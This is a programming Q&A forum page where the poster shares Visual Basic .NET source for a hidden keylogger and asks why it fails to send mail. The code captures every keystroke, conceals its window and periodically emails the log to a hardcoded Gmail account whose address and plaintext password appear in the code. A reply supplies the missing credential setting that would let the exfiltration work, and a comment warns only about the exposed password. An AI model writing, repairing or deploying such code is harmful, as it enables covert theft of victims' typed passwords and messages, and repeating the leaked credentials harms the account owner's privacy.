Click here to Skip to main content
15,900,108 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Server response 5.5.1 . Required authentication . Here is the code


Imports System.Net.Mail
 Public Class Form1
 Dim result As Integer
 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16

 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
 Me.hide()
 Me.visible = False
 For i = 1 To 255
 result = 0
 result = GetAsyncKeyState(i)
 If result = -32767 Then
 RichTextBox1.Text = RichTextBox1.Text + Chr(i)
 End If
 Next i
 End Sub

 Private Sub email_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
 Dim MyMailMessage As New MailMessage()
 MyMailMessage.From = New MailAddress("catalin0504229@gmail.com")
 MyMailMessage.To.Add("catalin0504229@gmail.com")
 MyMailMessage.Subject = ("keylogged")
 MyMailMessage.Body = RichTextBox1.Text
 Dim SMTPServer As New SmtpClient("smtp.gmail.com")
 SMTPServer.Port = 587
 SMTPServer.Credentials = New System.Net.NetworkCredential("catalin0504229@gmail.com", "Stevejobs1")
 SMTPServer.EnableSsl = True
 SMTPServer.Send(MyMailMessage)
 RichTextBox1.Text = ("")
 End Sub

 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

 End Sub
 End Class 
Posted
Updated 9-Jun-15 4:38am
v2
Comments
Richard Deeming 9-Jun-15 11:18am    
I hope that's not your real GMail username, password and email address that you've just posted to a public forum!

If it is, change your password immediately; carefully check all of your account settings to make sure nothing has been changed; and be prepared for a flood of spam.

1 solution

Google how to send email via gmail and you'll find lots of code examples, this is one of the most frequently asked questions and you should do basic research before asking a question.

It looks like you're not setting UseDefaultCredentials to False.

SMTPServer.UseDefaultCredentials = False
SMTPServer.Credentials = New System.Net.NetworkCredential("catalin0504229@gmail.com", "Stevejobs1")


If you're still having problems then it could be you have not set your account to allow smtp emails, or you need to pass the "captcha", or one of the many other issues you can resolve by googling.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900